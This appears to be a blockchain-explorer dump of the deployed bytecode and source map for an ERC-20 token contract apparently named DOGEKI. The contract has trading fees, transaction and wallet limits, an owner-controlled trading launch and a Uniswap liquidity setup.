0x6080604052600436106101235760003560e01c80638da5cb5b116100a0578063c876d0b911610064578063c876d0b9146102cd578063c9567bf9146102e2578063dd62ed3e146102f7578063ed99530714610317578063f5648a4f1461032c5761012a565b80638da5cb5b146102615780638f9a55c01461028357806395d89b411461012f578063a9059cbb14610298578063bf474bed146102b85761012a565b8063313ce567116100e7578063313ce567146101de57806370a0823114610200578063715018a614610220578063751039fc146102375780637d1db4a51461024c5761012a565b806306fdde031461012f578063095ea7b31461015a5780630faee56f1461018757806318160ddd146101a957806323b872dd146101be5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610341565b60405161015191906115d0565b60405180910390f35b34801561016657600080fd5b5061017a6101753660046114cb565b610361565b60405161015191906115c5565b34801561019357600080fd5b5061019c61037f565b604051610151919061196b565b3480156101b557600080fd5b5061019c610385565b3480156101ca57600080fd5b5061017a6101d936600461148b565b6103a6565b3480156101ea57600080fd5b506101f361042e565b60405161015191906119e4565b34801561020c57600080fd5b5061019c61021b36600461141b565b610433565b34801561022c57600080fd5b5061023561044e565b005b34801561024357600080fd5b506102356104d6565b34801561025857600080fd5b5061019c610550565b34801561026d57600080fd5b50610276610556565b6040516101519190611543565b34801561028f57600080fd5b5061019c610565565b3480156102a457600080fd5b5061017a6102b33660046114cb565b61056b565b3480156102c457600080fd5b5061019c61057f565b3480156102d957600080fd5b5061017a610585565b3480156102ee57600080fd5b5061023561058e565b34801561030357600080fd5b5061019c610312366004611453565b610611565b34801561032357600080fd5b5061023561063c565b34801561033857600080fd5b506102356109ba565b604080518082019091526006815265444f47454b4960d01b602082015290565b600061037561036e6109cd565b84846109d1565b5060015b92915050565b60115481565b60006103936009600a611a70565b6103a190633b9aca00611b41565b905090565b60006103b3848484610a85565b610423846103bf6109cd565b61041e85604051806060016040528060288152602001611bbe602891396001600160a01b038a166000908152600260205260408120906103fd6109cd565b6001600160a01b031681526020810191909152604001600020549190610fe5565b6109d1565b5060015b9392505050565b600990565b6001600160a01b031660009081526001602052604090205490565b6104566109cd565b6000546001600160a01b0390811691161461048c5760405162461bcd60e51b8152600401610483906117f6565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6104de6109cd565b6000546001600160a01b0390811691161461050b5760405162461bcd60e51b8152600401610483906117f6565b600019600e819055600f8190556040517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf916105469161196b565b60405180910390a1565b600e5481565b6000546001600160a01b031690565b600f5481565b60006103756105786109cd565b8484610a85565b60105481565b60055460ff1681565b6105966109cd565b6000546001600160a01b039081169116146105c35760405162461bcd60e51b8152600401610483906117f6565b601354600160a01b900460ff16156105ed5760405162461bcd60e51b815260040161048390611934565b6013805460ff60a01b1960ff60b01b19909116600160b01b1716600160a01b179055565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6106446109cd565b6000546001600160a01b039081169116146106715760405162461bcd60e51b8152600401610483906117f6565b601354600160a01b900460ff161561069b5760405162461bcd60e51b815260040161048390611934565b60006106a96009600a611a70565b6106b7906335a4e900611b41565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17908190559091506106f99030906001600160a01b03166000196109d1565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561074757600080fd5b505afa15801561075b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077f9190611437565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107dc57600080fd5b505afa1580156107f0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108149190611437565b6040518363ffffffff1660e01b8152600401610831929190611557565b602060405180830381600087803b15801561084b57600080fd5b505af115801561085f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108839190611437565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730846000806108b66109cd565b426040518863ffffffff1660e01b81526004016108d89695949392919061158a565b6060604051808303818588803b1580156108f157600080fd5b505af1158015610905573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061092a9190611516565b505060135460125460405163095ea7b360e01b81526001600160a01b03928316935063095ea7b39261096492169060001990600401611571565b602060405180830381600087803b15801561097e57600080fd5b505af1158015610992573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b691906114f6565b5050565b4780156109ca576109ca8161101f565b50565b3390565b6001600160a01b0383166109f75760405162461bcd60e51b8152600401610483906118f0565b6001600160a01b038216610a1d5760405162461bcd60e51b8152600401610483906116cd565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610a7890859061196b565b60405180910390a3505050565b6001600160a01b038316610aab5760405162461bcd60e51b815260040161048390611874565b6001600160a01b038216610ad15760405162461bcd60e51b815260040161048390611623565b60008111610af15760405162461bcd60e51b81526004016104839061182b565b601354600160a01b900460ff16610b5d576001600160a01b03831660009081526003602052604090205460ff1680610b4157506001600160a01b03821660009081526003602052604090205460ff165b610b5d5760405162461bcd60e51b81526004016104839061169d565b601354600160b01b900460ff161580610b7f5750601354600160a81b900460ff165b15610c35576001600160a01b038316600090815260016020526040902054610ba7908261105d565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610bd6908261109f565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c2890859061196b565b60405180910390a3610fe0565b610c3d610556565b6001600160a01b0316836001600160a01b031614158015610c775750610c61610556565b6001600160a01b0316826001600160a01b031614155b15610e985760055460ff1615610cf9576012546001600160a01b03838116911614801590610cb357506013546001600160a01b03838116911614155b15610cf957326000908152600460205260409020544311610ce65760405162461bcd60e51b815260040161048390611746565b3260009081526004602052604090204390555b6013546001600160a01b038481169116148015610d2457506012546001600160a01b03838116911614155b8015610d4957506001600160a01b03821660009081526003602052604090205460ff16155b15610dbb57600e54811115610d705760405162461bcd60e51b815260040161048390611666565b600f5481610d7d84610433565b610d8791906119f2565b1115610da55760405162461bcd60e51b8152600401610483906118b9565b600d8054906000610db583611b77565b91905055505b6000610dc630610433565b601354909150600160a81b900460ff16158015610df057506013546001600160a01b038481169116145b8015610e055750601354600160b01b900460ff165b8015610e145750600c54600d54115b8015610e3957506001600160a01b03841660009081526003602052604090205460ff16155b8015610e5e57506001600160a01b03831660009081526003602052604090205460ff16155b15610e9657601054811115610e8a57610e8a610e8583610e80846011546110ce565b6110ce565b6110e3565b47610e944761101f565b505b505b6000806000610ea8868686611288565b919450925090508115610f30576001600160a01b03831660009081526001602052604081208054849290610edd9084906119f2565b92505081905550826001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f27919061196b565b60405180910390a35b6001600160a01b038616600090815260016020526040902054610f53908561105d565b6001600160a01b038088166000908152600160205260408082209390935590871681522054610f82908261109f565b6001600160a01b0380871660008181526001602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fd490859061196b565b60405180910390a35050505b505050565b600081848411156110095760405162461bcd60e51b815260040161048391906115d0565b5060006110168486611b60565b95945050505050565b6005546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f193505050501580156109b6573d6000803e3d6000fd5b600061042783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fe5565b6000806110ac83856119f2565b9050838110156104275760405162461bcd60e51b81526004016104839061170f565b60008183116110dd5782610427565b50919050565b6013805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061113957634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561118d57600080fd5b505afa1580156111a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111c59190611437565b816001815181106111e657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260125461120c91309116846109d1565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790611245908590600090869030904290600401611974565b600060405180830381600087803b15801561125f57600080fd5b505af1158015611273573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6001600160a01b0383166000908152600360205260408120548190819081908190309060ff16156112ca576112bd8288611b60565b925086915088905061135e565b6013546001600160a01b038a81169116141561131f5761130c6064611306600a54600d54116112fb576006546112ff565b6008545b8a9061136b565b906113b0565b92506113188388611b60565b915061135e565b6013546001600160a01b038981169116141561135a5761130c6064611306600b54600d5411611350576007546112ff565b6009548a9061136b565b8691505b9891975095509350505050565b60008261137a57506000610379565b60006113868385611b41565b9050826113938583611a0a565b146104275760405162461bcd60e51b8152600401610483906117b5565b600061042783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506000818361140e5760405162461bcd60e51b815260040161048391906115d0565b5060006110168486611a0a565b60006020828403121561142c578081fd5b813561042781611ba8565b600060208284031215611448578081fd5b815161042781611ba8565b60008060408385031215611465578081fd5b823561147081611ba8565b9150602083013561148081611ba8565b809150509250929050565b60008060006060848603121561149f578081fd5b83356114aa81611ba8565b925060208401356114ba81611ba8565b929592945050506040919091013590565b600080604083850312156114dd578182fd5b82356114e881611ba8565b946020939093013593505050565b600060208284031215611507578081fd5b81518015158114610427578182fd5b60008060006060848603121561152a578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b818110156115fc578581018301518582016040015282016115e0565b8181111561160d5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526019908201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604082015260600190565b6020808252601690820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526049908201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60408201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6060820152681030b63637bbb2b21760b91b608082015260a00190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252601a908201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119c35784516001600160a01b03168352938301939183019160010161199e565b50506001600160a01b03969096166060850152505050608001529392505050565b60ff91909116815260200190565b60008219821115611a0557611a05611b92565b500190565b600082611a2557634e487b7160e01b81526012600452602481fd5b500490565b80825b6001808611611a3c5750611a67565b818704821115611a4e57611a4e611b92565b80861615611a5b57918102915b9490941c938002611a2d565b94509492505050565b600061042760001960ff851684600082611a8c57506001610427565b81611a9957506000610427565b8160018114611aaf5760028114611ab957611ae6565b6001915050610427565b60ff841115611aca57611aca611b92565b6001841b915084821115611ae057611ae0611b92565b50610427565b5060208310610133831016604e8410600b8410161715611b19575081810a83811115611b1457611b14611b92565b610427565b611b268484846001611a2a565b808604821115611b3857611b38611b92565b02949350505050565b6000816000190483118215151615611b5b57611b5b611b92565b500290565b600082821015611b7257611b72611b92565b500390565b6000600019821415611b8b57611b8b611b92565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146109ca57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122003fafb7b6cd5c2f22516e0ba435a5a84e9b640cd7f8e28db63e35410a19ba4b164736f6c63430008000033

Deployed Bytecode Sourcemap

3856:10485:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5800:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6683:186;;;;;;;;;;-1:-1:-1;6683:186:0;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;5037:55::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;6077:95::-;;;;;;;;;;;;;:::i;6877:446::-;;;;;;;;;;-1:-1:-1;6877:446:0;;;;;:::i;:::-;;:::i;5986:83::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;6180:119::-;;;;;;;;;;-1:-1:-1;6180:119:0;;;;;:::i;:::-;;:::i;2887:148::-;;;;;;;;;;;;;:::i;:::-;;12831:174;;;;;;;;;;;;;:::i;4846:56::-;;;;;;;;;;;;;:::i;2673:79::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;4909:58::-;;;;;;;;;;;;;:::i;6307:192::-;;;;;;;;;;-1:-1:-1;6307:192:0;;;;;:::i;:::-;;:::i;4974:56::-;;;;;;;;;;;;;:::i;4195:40::-;;;;;;;;;;;;;:::i;13953:169::-;;;;;;;;;;;;;:::i;6507:168::-;;;;;;;;;;-1:-1:-1;6507:168:0;;;;;:::i;:::-;;:::i;13116:829::-;;;;;;;;;;;;;:::i;14167:171::-;;;;;;;;;;;;;:::i;5800:83::-;5870:5;;;;;;;;;;;;-1:-1:-1;;;5870:5:0;;;;5800:83;:::o;6683:186::-;6783:4;6800:39;6809:12;:10;:12::i;:::-;6823:7;6832:6;6800:8;:39::i;:::-;-1:-1:-1;6857:4:0;6683:186;;;;;:::o;5037:55::-;;;;:::o;6077:95::-;6130:7;4714:15;4658:1;4714:2;:15;:::i;:::-;4701:28;;:10;:28;:::i;:::-;6150:14;;6077:95;:::o;6877:446::-;7009:4;7026:36;7036:6;7044:9;7055:6;7026:9;:36::i;:::-;7073:220;7096:6;7117:12;:10;:12::i;:::-;7144:138;7200:6;7144:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7144:19:0;;;;;;:11;:19;;;;;;7164:12;:10;:12::i;:::-;-1:-1:-1;;;;;7144:33:0;;;;;;;;;;;;-1:-1:-1;7144:33:0;;;:138;:37;:138::i;:::-;7073:8;:220::i;:::-;-1:-1:-1;7311:4:0;6877:446;;;;;;:::o;5986:83::-;4658:1;5986:83;:::o;6180:119::-;-1:-1:-1;;;;;6273:18:0;6246:7;6273:18;;;:9;:18;;;;;;;6180:119::o;2887:148::-;2810:12;:10;:12::i;:::-;2800:6;;-1:-1:-1;;;;;2800:6:0;;;:22;;;2792:67;;;;-1:-1:-1;;;2792:67:0;;;;;;;:::i;:::-;;;;;;;;;2994:1:::1;2978:6:::0;;2957:40:::1;::::0;-1:-1:-1;;;;;2978:6:0;;::::1;::::0;2957:40:::1;::::0;2994:1;;2957:40:::1;3025:1;3008:19:::0;;-1:-1:-1;;;;;;3008:19:0::1;::::0;;2887:148::o;12831:174::-;2810:12;:10;:12::i;:::-;2800:6;;-1:-1:-1;;;;;2800:6:0;;;:22;;;2792:67;;;;-1:-1:-1;;;2792:67:0;;;;;;;:::i;:::-;-1:-1:-1;;12885:12:0::1;:26:::0;;;12922:14:::1;:28:::0;;;12966:31:::1;::::0;::::1;::::0;::::1;::::0;::::1;:::i;:::-;;;;;;;;12831:174::o:0;4846:56::-;;;;:::o;2673:79::-;2711:7;2738:6;-1:-1:-1;;;;;2738:6:0;2673:79;:::o;4909:58::-;;;;:::o;6307:192::-;6410:4;6427:42;6437:12;:10;:12::i;:::-;6451:9;6462:6;6427:9;:42::i;4974:56::-;;;;:::o;4195:40::-;;;;;;:::o;13953:169::-;2810:12;:10;:12::i;:::-;2800:6;;-1:-1:-1;;;;;2800:6:0;;;:22;;;2792:67;;;;-1:-1:-1;;;2792:67:0;;;;;;;:::i;:::-;14015:11:::1;::::0;-1:-1:-1;;;14015:11:0;::::1;;;14014:12;14006:48;;;;-1:-1:-1::0;;;14006:48:0::1;;;;;;;:::i;:::-;14067:11;:18:::0;;-1:-1:-1;;;;;;;;14067:18:0;;::::1;-1:-1:-1::0;;;14067:18:0::1;14096;-1:-1:-1::0;;;14096:18:0::1;::::0;;13953:169::o;6507:168::-;-1:-1:-1;;;;;6640:18:0;;;6613:7;6640:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6507:168::o;13116:829::-;2810:12;:10;:12::i;:::-;2800:6;;-1:-1:-1;;;;;2800:6:0;;;:22;;;2792:67;;;;-1:-1:-1;;;2792:67:0;;;;;;;:::i;:::-;13182:11:::1;::::0;-1:-1:-1;;;13182:11:0;::::1;;;13181:12;13173:48;;;;-1:-1:-1::0;;;13173:48:0::1;;;;;;;:::i;:::-;13232:19;13266:15;4658:1;13266:2;:15;:::i;:::-;13254:27;::::0;:9:::1;:27;:::i;:::-;13292:15;:104:::0;;-1:-1:-1;;;;;;13292:104:0::1;13343:42;13292:104;::::0;;;;13232:49;;-1:-1:-1;13407:62:0::1;::::0;13424:4:::1;::::0;-1:-1:-1;;;;;13439:15:0::1;-1:-1:-1::0;;13407:8:0::1;:62::i;:::-;13514:15;;;;;;;;;-1:-1:-1::0;;;;;13514:15:0::1;-1:-1:-1::0;;;;;13514:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13496:55:0::1;;13574:4;13594:15;;;;;;;;;-1:-1:-1::0;;;;;13594:15:0::1;-1:-1:-1::0;;;;;13594:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13496:131;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13480:13;:147:::0;;-1:-1:-1;;;;;;13480:147:0::1;-1:-1:-1::0;;;;;13480:147:0;;::::1;;::::0;;13640:15:::1;::::0;::::1;:31;13679:21;13724:4;13744:11:::0;-1:-1:-1;;13802:12:0::1;:10;:12::i;:::-;13829:15;13640:215;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13873:13:0::1;::::0;13904:15:::1;::::0;13866:71:::1;::::0;-1:-1:-1;;;13866:71:0;;-1:-1:-1;;;;;13873:13:0;;::::1;::::0;-1:-1:-1;13866:29:0::1;::::0;:71:::1;::::0;13904:15:::1;::::0;-1:-1:-1;;13922:14:0;13866:71:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;2870:1;13116:829::o:0;14167:171::-;14234:21;14269:12;;14266:65;;14295:24;14308:10;14295:12;:24::i;:::-;14167:171;:::o;220:98::-;300:10;220:98;:::o;7331:335::-;-1:-1:-1;;;;;7424:19:0;;7416:68;;;;-1:-1:-1;;;7416:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7503:21:0;;7495:68;;;;-1:-1:-1;;;7495:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7574:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;7626:32;;;;;7604:6;;7626:32;:::i;:::-;;;;;;;;7331:335;;;:::o;7674:3273::-;-1:-1:-1;;;;;7776:21:0;;7768:71;;;;-1:-1:-1;;;7768:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7858:25:0;;7850:73;;;;-1:-1:-1;;;7850:73:0;;;;;;;:::i;:::-;7953:1;7942:8;:12;7934:66;;;;-1:-1:-1;;;7934:66:0;;;;;;;:::i;:::-;8018:11;;-1:-1:-1;;;8018:11:0;;;;8013:191;;-1:-1:-1;;;;;8072:27:0;;;;;;:18;:27;;;;;;;;;:62;;-1:-1:-1;;;;;;8103:31:0;;;;;;:18;:31;;;;;;;;8072:62;8046:146;;;;-1:-1:-1;;;8046:146:0;;;;;;;:::i;:::-;8221:11;;-1:-1:-1;;;8221:11:0;;;;8220:12;;:22;;-1:-1:-1;8236:6:0;;-1:-1:-1;;;8236:6:0;;;;8220:22;8216:265;;;-1:-1:-1;;;;;8280:18:0;;;;;;:9;:18;;;;;;:32;;8303:8;8280:22;:32::i;:::-;-1:-1:-1;;;;;8259:18:0;;;;;;;:9;:18;;;;;;:53;;;;8352:22;;;;;;;:36;;8379:8;8352:26;:36::i;:::-;-1:-1:-1;;;;;8327:22:0;;;;;;;:9;:22;;;;;;;:61;;;;8408:40;;;;;;;;;;8439:8;;8408:40;:::i;:::-;;;;;;;;8463:7;;8216:265;8508:7;:5;:7::i;:::-;-1:-1:-1;;;;;8497:18:0;:7;-1:-1:-1;;;;;8497:18:0;;;:44;;;;;8534:7;:5;:7::i;:::-;-1:-1:-1;;;;;8519:22:0;:11;-1:-1:-1;;;;;8519:22:0;;;8497:44;8493:1922;;;8562:20;;;;8558:540;;;8652:15;;-1:-1:-1;;;;;8629:39:0;;;8652:15;;8629:39;;;;:101;;-1:-1:-1;8716:13:0;;-1:-1:-1;;;;;8693:37:0;;;8716:13;;8693:37;;8629:101;8603:480;;;8836:9;8807:39;;;;:28;:39;;;;;;8849:12;-1:-1:-1;8773:213:0;;;;-1:-1:-1;;;8773:213:0;;;;;;;:::i;:::-;9038:9;9009:39;;;;:28;:39;;;;;9051:12;9009:54;;8603:480;9147:13;;-1:-1:-1;;;;;9136:24:0;;;9147:13;;9136:24;:84;;;;-1:-1:-1;9204:15:0;;-1:-1:-1;;;;;9181:39:0;;;9204:15;;9181:39;;9136:84;:137;;;;-1:-1:-1;;;;;;9242:31:0;;;;;;:18;:31;;;;;;;;9241:32;9136:137;9114:472;;;9328:12;;9316:8;:24;;9308:62;;;;-1:-1:-1;;;9308:62:0;;;;;;;:::i;:::-;9456:14;;9444:8;9419:22;9429:11;9419:9;:22::i;:::-;:33;;;;:::i;:::-;:51;;9389:151;;;;-1:-1:-1;;;9389:151:0;;;;;;;:::i;:::-;9559:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9114:472;9602:28;9633:24;9651:4;9633:9;:24::i;:::-;9695:6;;9602:55;;-1:-1:-1;;;;9695:6:0;;;;9694:7;:56;;;;-1:-1:-1;9737:13:0;;-1:-1:-1;;;;;9722:28:0;;;9737:13;;9722:28;9694:56;:88;;;;-1:-1:-1;9771:11:0;;-1:-1:-1;;;9771:11:0;;;;9694:88;:139;;;;;9815:18;;9803:9;;:30;9694:139;:188;;;;-1:-1:-1;;;;;;9855:27:0;;;;;;:18;:27;;;;;;;;9854:28;9694:188;:241;;;;-1:-1:-1;;;;;;9904:31:0;;;;;;:18;:31;;;;;;;;9903:32;9694:241;9672:732;;;9996:17;;9973:20;:40;9970:207;;;10038:119;10081:53;10085:8;10095:38;10099:20;10121:11;;10095:3;:38::i;:::-;10081:3;:53::i;:::-;10038:16;:119::i;:::-;10242:21;10334:35;10347:21;10334:12;:35::i;:::-;9672:732;;8493:1922;;10442:18;10475:17;10507:22;10543:40;10552:7;10561:11;10574:8;10543;:40::i;:::-;10427:156;;-1:-1:-1;10427:156:0;-1:-1:-1;10427:156:0;-1:-1:-1;10600:13:0;;10596:140;;-1:-1:-1;;;;;10630:21:0;;;;;;:9;:21;;;;;:34;;10655:9;;10630:21;:34;;10655:9;;10630:34;:::i;:::-;;;;;;;;10702:10;-1:-1:-1;;;;;10684:40:0;10693:7;-1:-1:-1;;;;;10684:40:0;;10714:9;10684:40;;;;;;:::i;:::-;;;;;;;;10596:140;-1:-1:-1;;;;;10767:18:0;;;;;;:9;:18;;;;;;:32;;10790:8;10767:22;:32::i;:::-;-1:-1:-1;;;;;10746:18:0;;;;;;;:9;:18;;;;;;:53;;;;10835:22;;;;;;;:42;;10862:14;10835:26;:42::i;:::-;-1:-1:-1;;;;;10810:22:0;;;;;;;:9;:22;;;;;;;:67;;;;10893:46;;;;;;;;;;10924:14;;10893:46;:::i;:::-;;;;;;;;7674:3273;;;;;;;:::o;1475:224::-;1595:7;1631:12;1623:6;;;;1615:29;;;;-1:-1:-1;;;1615:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1655:9:0;1667:5;1671:1;1667;:5;:::i;:::-;1655:17;1475:224;-1:-1:-1;;;;;1475:224:0:o;13013:95::-;13070:13;;:30;;:13;;;;-1:-1:-1;;;;;13070:13:0;;:30;;;;;;;;;;;;:13;:30;;;;;;;;;;;;;;;;;;;1331:136;1389:7;1416:43;1420:1;1423;1416:43;;;;;;;;;;;;;;;;;:3;:43::i;1144:179::-;1202:7;;1234:5;1238:1;1234;:5;:::i;:::-;1222:17;;1263:1;1258;:6;;1250:46;;;;-1:-1:-1;;;1250:46:0;;;;;;;:::i;12225:107::-;12282:7;12314:1;12310;:5;12309:15;;12323:1;12309:15;;;-1:-1:-1;12319:1:0;12225:107;-1:-1:-1;12225:107:0:o;12340:483::-;5376:6;:13;;-1:-1:-1;;;;5376:13:0;-1:-1:-1;;;5376:13:0;;;12442:16:::1;::::0;;12456:1:::1;12442:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12442:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12442:16:0::1;12418:40;;12487:4;12469;12474:1;12469:7;;;;;;-1:-1:-1::0;;;12469:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;12469:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12513:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12513:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12469:7;;12513:22;;;;;:15;:22;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12503:4;12508:1;12503:7;;;;;;-1:-1:-1::0;;;12503:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;12503:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12578:15:::1;::::0;12546:62:::1;::::0;12563:4:::1;::::0;12578:15:::1;12596:11:::0;12546:8:::1;:62::i;:::-;12619:15;::::0;:196:::1;::::0;-1:-1:-1;;;12619:196:0;;-1:-1:-1;;;;;12619:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12700:11;;12619:15:::1;::::0;12742:4;;12769::::1;::::0;12789:15:::1;::::0;12619:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5412:6:0;:14;;-1:-1:-1;;;;5412:14:0;;;-1:-1:-1;;;;12340:483:0:o;10955:1262::-;-1:-1:-1;;;;;11244:30:0;;11088:7;11244:30;;;:18;:30;;;;;;11088:7;;;;;;;;11224:4;;11244:30;;11240:913;;;11303:24;11313:14;11303:7;:24;:::i;:::-;11291:36;;11359:7;11342:24;;11394:10;11381:23;;11240:913;;;11426:13;;-1:-1:-1;;;;;11426:27:0;;;:13;;:27;11422:731;;;11482:209;11687:3;11482:182;11547:15;;11535:9;;:27;11534:111;;11631:14;;11534:111;;;11591:12;;11534:111;11482:7;;:29;:182::i;:::-;:204;;:209::i;:::-;11470:221;-1:-1:-1;11723:19:0;11470:221;11723:7;:19;:::i;:::-;11706:36;;11422:731;;;11764:13;;-1:-1:-1;;;;;11764:28:0;;;:13;;:28;11760:393;;;11821:212;12029:3;11821:185;11886:16;;11874:9;;:28;11873:114;;11972:15;;11873:114;;;11931:13;;11821:7;;:29;:185::i;11760:393::-;12134:7;12117:24;;11760:393;12171:10;12183:9;;-1:-1:-1;12183:9:0;-1:-1:-1;10955:1262:0;-1:-1:-1;;;;10955:1262:0:o;1707:246::-;1765:7;1789:6;1785:47;;-1:-1:-1;1819:1:0;1812:8;;1785:47;1842:9;1854:5;1858:1;1854;:5;:::i;:::-;1842:17;-1:-1:-1;1887:1:0;1878:5;1882:1;1842:17;1878:5;:::i;:::-;:10;1870:56;;;;-1:-1:-1;;;1870:56:0;;;;;;;:::i;1961:132::-;2019:7;2046:39;2050:1;2053;2046:39;;;;;;;;;;;;;;;;;2221:7;2256:12;2249:5;2241:28;;;;-1:-1:-1;;;2241:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2280:9:0;2292:5;2296:1;2292;:5;:::i;14:259:1:-;;126:2;114:9;105:7;101:23;97:32;94:2;;;147:6;139;132:22;94:2;